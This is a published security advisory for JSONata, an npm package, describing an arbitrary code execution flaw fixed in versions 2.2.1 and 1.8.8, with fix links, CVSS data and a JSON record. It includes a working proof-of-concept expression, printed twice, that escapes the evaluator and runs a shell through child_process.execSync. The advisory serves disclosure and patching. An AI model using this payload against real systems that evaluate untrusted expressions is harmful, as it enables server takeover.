GHSA-66MM-25PP-RFFF

Vulnerability from github – Published: 2026-08-21 21:04 – Updated: 2026-08-21 21:04
VLAI
Summary
JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions
Details

Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to: - overwriting $clone allowing mutation of objects via transforms (see evaluateTransformExpression) - it being possible to destruct jsonata functions/lambdas (e.g. $merge.*) - applyProcedure using proc.arguments.forEach and not Array.prototype.forEach

Which could be chained to execute arbitrary code.

This was fixed with:

  • https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673)
  • https://github.com/jsonata-js/jsonata/pull/800
  • https://github.com/jsonata-js/jsonata/pull/802

Which are included in the 2.2.1 release. Fixes were then back-ported to the 1.8.8 release.

PoC

import jsonata from "jsonata";

const expression = jsonata(`
(
    $obj := {};
    $clone := function($o) { $o };
    $m := ($merge.*)[1];

    $fn := function($a) {
        (
            $a({"value":"lg"},"__lookupGetter__");
            $a({"value":"x"},"x");
        )
    };

    $nop := function() { $ };

    $capture := function($val) {
        $obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} |
    };

    $ ~> | $ | $m([$nop,{"_jsonata_lambda":false}])|;
    $ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|;
    $ ~> | $ | {"body":$m([$capture,{"_jsonata_lambda":false}]).body}|;
    $func := $m([$,{"_jsonata_lambda":true}]);
    $func();

    $gP := $obj.lg("__proto__");

    $afn:=$spread($fn);
    $afn{"x":$gP().constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")()};
)
`);

await expression.evaluate({});

References

  • https://github.com/jsonata-js/jsonata/pull/799
  • https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673

  • https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de

  • https://github.com/jsonata-js/jsonata/pull/800

  • https://github.com/jsonata-js/jsonata/commit/d49dcdd01a4617e5601edda3ce9a971a791126dc

  • https://github.com/jsonata-js/jsonata/pull/802

  • https://github.com/jsonata-js/jsonata/commit/e362dfd686c1dadd1dd9324373819be446fd4f04
Severity
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "jsonata"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "jsonata"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77415"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-21T21:04:19Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with\ncrafted expressions, due to:\n- overwriting `$clone` allowing mutation of objects via transforms (see\n[`evaluateTransformExpression`](https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1304-L1314))\n- it being possible to destruct jsonata functions/lambdas (e.g. `$merge.*`)\n- [applyProcedure](https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1670C20-L1675)\nusing `proc.arguments.forEach` and not `Array.prototype.forEach`\n\nWhich could be chained to execute arbitrary code.\n\nThis was fixed with:\n\n- https://github.com/jsonata-js/jsonata/pull/799\n(https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673)\n- https://github.com/jsonata-js/jsonata/pull/800\n- https://github.com/jsonata-js/jsonata/pull/802\n\nWhich are included in the `2.2.1` release. Fixes were then back-ported to the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n    $obj := {};\n    $clone := function($o) { $o };\n    $m := ($merge.*)[1];\n\n    $fn := function($a) {\n        (\n            $a({\"value\":\"lg\"},\"__lookupGetter__\");\n            $a({\"value\":\"x\"},\"x\");\n        )\n    };\n\n    $nop := function() { $ };\n\n    $capture := function($val) {\n        $obj ~\u003e | $obj | {\"x\": 1, \"y\": 1, \"lg\":$lg} |\n    };\n\n    $ ~\u003e | $ | $m([$nop,{\"_jsonata_lambda\":false}])|;\n    $ ~\u003e | $ | {\"arguments\":{\"forEach\": $spread($fn)}}|;\n    $ ~\u003e | $ | {\"body\":$m([$capture,{\"_jsonata_lambda\":false}]).body}|;\n    $func := $m([$,{\"_jsonata_lambda\":true}]);\n    $func();\n\n    $gP := $obj.lg(\"__proto__\");\n\n    $afn:=$spread($fn);\n    $afn{\"x\":$gP().constructor(\"return process.getBuiltinModule(\u0027child_process\u0027).execSync(\u0027sh\u0027,{stdio:\u0027inherit\u0027})\")()};\n)\n`);\n\nawait expression.evaluate({});\n```\n\n## References\n\n- https://github.com/jsonata-js/jsonata/pull/799\n- https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673\n- https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de\n\n- https://github.com/jsonata-js/jsonata/pull/800\n- https://github.com/jsonata-js/jsonata/commit/d49dcdd01a4617e5601edda3ce9a971a791126dc\n\n- https://github.com/jsonata-js/jsonata/pull/802\n- https://github.com/jsonata-js/jsonata/commit/e362dfd686c1dadd1dd9324373819be446fd4f04",
  "id": "GHSA-66mm-25pp-rfff",
  "modified": "2026-08-21T21:04:19Z",
  "published": "2026-08-21T21:04:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/security/advisories/GHSA-66mm-25pp-rfff"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/pull/799"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/pull/800"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/pull/802"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/commit/47c0e58542202c705726663166dbee5fcae47d06"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/commit/4b217d514376e30cba278941298d7ba97c4a6c6e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/commit/59e25144fc3b7125f6befd71b8a6e14e1fa610d2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/commit/f09df8416eab8ff44926fc6527c80fb8701de159"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/commit/f174348c7fa30f271b63ddedf0767e814004bc4d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jsonata-js/jsonata"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/releases/tag/v2.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.